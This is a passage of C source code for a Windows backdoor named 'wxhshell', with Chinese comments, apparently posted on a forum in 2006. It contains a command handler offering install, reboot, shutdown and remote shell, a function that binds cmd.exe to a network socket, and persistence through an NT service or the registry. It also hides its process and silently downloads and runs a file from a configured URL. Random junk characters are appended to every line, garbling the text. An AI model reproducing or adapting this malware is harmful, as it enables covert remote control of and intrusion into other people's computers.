      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W'Y#(N[ktP  
    break; GOX2'N\h^  
  } fczH^+mI  
  // 安装 !PEP`wEKdp  
  case 'i': { e @|uG%  
    if(Install()) -D wO*f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ifadnl26 s  
    else +QEiY~i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q\z9\mMG-  
    break; w[/m:R?eX  
    } "lKR~Qi  
  // 卸载 (6i. >%|_  
  case 'r': { Gi,4PD-ro  
    if(Uninstall()) @E?o~jO(e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :a)`iJnb  
    else =m?x5G^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,UW!?}@  
    break; xDn#=%~+x  
    } R(GL{Dh}L  
  // 显示 wxhshell 所在路径 OsgjSJrf  
  case 'p': { 6f;20dn 6  
    char svExeFile[MAX_PATH]; ~lr,}K,  
    strcpy(svExeFile,"\n\r"); =L, 7~9  
      strcat(svExeFile,ExeFile); -~^sSLrbP  
        send(wsh,svExeFile,strlen(svExeFile),0); ZP"Xn/L  
    break; *^p^tK  
    } GNoUn7Y  
  // 重启 u X+ YH  
  case 'b': { 8]l(D  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \s,~|0_V  
    if(Boot(REBOOT)) fD2 )/5j1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T!t9`I0Zz  
    else { dEPLkv  
    closesocket(wsh); x+W,P  
    ExitThread(0); &LHS<Nv^:  
    } /vw$3,*z  
    break; e9rgJJ  
    } }k_'a^;C1  
  // 关机 !5>PZ{J  
  case 'd': { %G'P!xQhy  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?l^NKbw  
    if(Boot(SHUTDOWN)) 8]xYE19=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S.*LsrSV  
    else { _''9-t;n,  
    closesocket(wsh); k6(0:/C  
    ExitThread(0); l6pvQ|  
    } 0uJ??4N9  
    break; :} DTK  
    } 4 Xe8j55  
  // 获取shell iB5'mb*  
  case 's': { %ZGG6Xgw  
    CmdShell(wsh); C\}M_MD  
    closesocket(wsh); f^G-ba  
    ExitThread(0); 0G(|`xG1q  
    break; *fQn!2}=(  
  } +RyV"&v  
  // 退出 a[NR%Xq  
  case 'x': { z#/"5 l   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3?<LWrhV3  
    CloseIt(wsh); O@`KG ZEPY  
    break; WUGFo$ xA  
    } 8_T9[ ]7V8  
  // 离开 \n^;r|J7k  
  case 'q': { m Q^SpK #  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); xtzkgb,0[  
    closesocket(wsh); Ui`#B  
    WSACleanup(); >lF@M-  
    exit(1); ricL.[v9S  
    break; ) RNB;K~s9  
        } ma@!"Z8 S  
  } JHg y&/  
  } [rReBgV  
?7A>|p?"  
  // 提示信息 <AU0ir  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); __`6 W1  
} Pdk#"H-j  
  } k;jXVa  
Qn)AS1pL+  
  return; &A~hM[-  
} hY|-l%2f  
05o<fa2HE  
// shell模块句柄 W;|%)D)y  
int CmdShell(SOCKET sock) "&@{f:+  
{ m[s$)-T  
STARTUPINFO si; DC2[g9S>8@  
ZeroMemory(&si,sizeof(si)); 6bT>x5?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?vQ:z{BO  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ZNJ<@K-  
PROCESS_INFORMATION ProcessInfo; - #-Bo  
char cmdline[]="cmd"; 6dhzx; A  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k\\e`=  
  return 0; `Nv P)|  
} +6:jm54  
i'[! 'HY  
// 自身启动模式 :jFZz%   
int StartFromService(void) $0Un'"`S  
{ R]4 h)"  
typedef struct ~"r(PCa@  
{ >S]"-0tGD=  
  DWORD ExitStatus; D+{& zo  
  DWORD PebBaseAddress; ~#7uNH2  
  DWORD AffinityMask; H/ar: j  
  DWORD BasePriority; \w)ddc!ZS  
  ULONG UniqueProcessId; \f@obp  
  ULONG InheritedFromUniqueProcessId; `@8O|j  
}   PROCESS_BASIC_INFORMATION; D7g B%  
5),&{k!  
PROCNTQSIP NtQueryInformationProcess; m |Sf'5fK  
EF'8-*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Y)DF.ca(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \4>& zb4  
>.-4CJ])d  
  HANDLE             hProcess; A+(+Pf U  
  PROCESS_BASIC_INFORMATION pbi; \s7/`  
mQ2=t%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); */4hFD {  
  if(NULL == hInst ) return 0; <TgVU.*  
g1@rY0O  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -#,4rN#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /q) H0b  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "G@(Cb*+T  
"iUh.c=0F,  
  if (!NtQueryInformationProcess) return 0; Ezr q2/~Q  
0rxGb} b*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); WAJ KP"  
  if(!hProcess) return 0; Q;GcV&f;f  
u-*z#e_L0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `x;m@\R  
c[Z#q*Q  
  CloseHandle(hProcess); mSGpxZ,IE  
f6 s .xQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B_>r|^Vh  
if(hProcess==NULL) return 0; `W.g1"o8W4  
QWE\Ud.q  
HMODULE hMod; 2?:'p[z"]  
char procName[255]; LuVL <W  
unsigned long cbNeeded; $@84nR{>  
v>_83P`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8~3I^I_v  
G+<id1  
  CloseHandle(hProcess); ??lsv(v-  
m]c1DvQb  
if(strstr(procName,"services")) return 1; // 以服务启动 ()5X<=i  
H~bbkql  
  return 0; // 注册表启动 H3( @Q^9  
} &joP-!"  
k]~$AaNq  
// 主模块 Hz%<V *\{  
int StartWxhshell(LPSTR lpCmdLine) r 5t{I2  
{ 4 RfBXVS  
  SOCKET wsl; = BbG2k  
BOOL val=TRUE; >ByqM{?  
  int port=0; aLlHR_  
  struct sockaddr_in door; @WiTh'w0  
t<"%m)J  
  if(wscfg.ws_autoins) Install(); syCT)}T6z  
b*ja,I4  
port=atoi(lpCmdLine); wCu!dxT|,  
_%#Uh#7P$  
if(port<=0) port=wscfg.ws_port; }z qo<o  
i*@ZIw  
  WSADATA data; )Br#R:#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ctx>#uN6  
8fktk?|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Y*IKPnPot2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5 ed|]LP  
  door.sin_family = AF_INET; =`UFg >-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }aQ*1Vcj  
  door.sin_port = htons(port); [Y j: H  
HDaeJk  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6C/Pu!Sx?  
closesocket(wsl); oTrit_@3  
return 1; HE>V\+ AL  
} |9X2AS Qu  
`?SC.KT  
  if(listen(wsl,2) == INVALID_SOCKET) { DuLl"w\_@  
closesocket(wsl); N1 sdWXG  
return 1; W }v ,6Oe  
} c'mg=jH  
  Wxhshell(wsl); \:+ NVIN  
  WSACleanup(); =woP~+  
dI>cPqQ  
return 0; bh#6yvpMR  
db&!t!#,  
} *\cU}qjk  
?bg /%o  
// 以NT服务方式启动 zKp R:F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &eqqgLz  
{ w9n0p0xr<  
DWORD   status = 0; T(Bcp^N  
  DWORD   specificError = 0xfffffff; J'tJY% `  
T#i~/  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  J%T=FU  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; h<8c{RuoZC  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C ](djkA$  
  serviceStatus.dwWin32ExitCode     = 0; pG'?>]Rt4  
  serviceStatus.dwServiceSpecificExitCode = 0; 2EYWX! Bx  
  serviceStatus.dwCheckPoint       = 0; Y*{5'q+2  
  serviceStatus.dwWaitHint       = 0; c *<m.  
btC6R>0   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +KWO`WR  
  if (hServiceStatusHandle==0) return; 6/T/A+u  
P&<NcOCL&  
status = GetLastError(); Onou:kmf1  
  if (status!=NO_ERROR) Q2:r WE{K!  
{ %oquHkX%OJ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %UhLCyC/  
    serviceStatus.dwCheckPoint       = 0; sx]{N  
    serviceStatus.dwWaitHint       = 0; Qvel#*-4  
    serviceStatus.dwWin32ExitCode     = status; J3e'?3w[  
    serviceStatus.dwServiceSpecificExitCode = specificError; %9J:TH9E)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |_QpB?b  
    return; lY2~{Y|4s  
  } o6:bmKWE  
] SLeWs  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; AEDBr<  
  serviceStatus.dwCheckPoint       = 0; 6y57m;JW/  
  serviceStatus.dwWaitHint       = 0; (ti!Y"e2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); o*2Mjd]r  
} 9U4[o<G]=  
Z9q4W:jyS  
// 处理NT服务事件,比如:启动、停止 .mcohfR  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S%B56|'  
{ Ye$; d ~  
switch(fdwControl) 7G*rxn"d  
{ j}`ku9S~  
case SERVICE_CONTROL_STOP: E1dhj3+3  
  serviceStatus.dwWin32ExitCode = 0; >AY9 F|:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +U%epq  
  serviceStatus.dwCheckPoint   = 0; =sefT@<  
  serviceStatus.dwWaitHint     = 0; !ZvVj\{  
  { %d40us8E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^f-)gZ&  
  } vK+!m~kDu  
  return; QDVSFGwr  
case SERVICE_CONTROL_PAUSE: BE],PCpPr  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5wha _Yet  
  break; 33wVP}e5  
case SERVICE_CONTROL_CONTINUE: ^)a:D KL  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7i'clB9!  
  break; >n(dyU@  
case SERVICE_CONTROL_INTERROGATE: >[wB|V5  
  break; ,?IXfJ`c  
}; dw!Xt@,[g{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Cbl>eKw  
} ~D`R"vzw=  
dmcY]m  
// 标准应用程序主函数 L/,g D.h^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (w\|yPBB  
{ 1 3)6p|6x  
[dUAb  
// 获取操作系统版本 -o~n 06p  
OsIsNt=GetOsVer(); J><hrZ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); x]?V*Jz  
.*xO/pn  
  // 从命令行安装 0NU3% 4?  
  if(strpbrk(lpCmdLine,"iI")) Install(); qm'@o -[  
9}Za_ZgG  
  // 下载执行文件 @g]+$Yj  
if(wscfg.ws_downexe) { \2#K {  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Pn4jI(  
  WinExec(wscfg.ws_filenam,SW_HIDE); ( ]0F3@k#s  
} vb]uO ' l  
W(?J,8>  
if(!OsIsNt) { 2"j&_$#l5X  
// 如果时win9x,隐藏进程并且设置为注册表启动 i,% N#  
HideProc(); Pgq(yPC  
StartWxhshell(lpCmdLine); 2 e#"JZ=  
} l0qHoM,1Y[  
else rc7c$3#X  
  if(StartFromService()) =|dm#w_L"  
  // 以服务方式启动 6#Y]^%?uy  
  StartServiceCtrlDispatcher(DispatchTable); < <Y]P+uU  
else 4>fj @X(3  
  // 普通方式启动 Xc^(e?L4  
  StartWxhshell(lpCmdLine); m^0 I3;  
C8YStT  
return 0; t6kLZ  
}
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只看该作者 1 发表于: 2006-10-10
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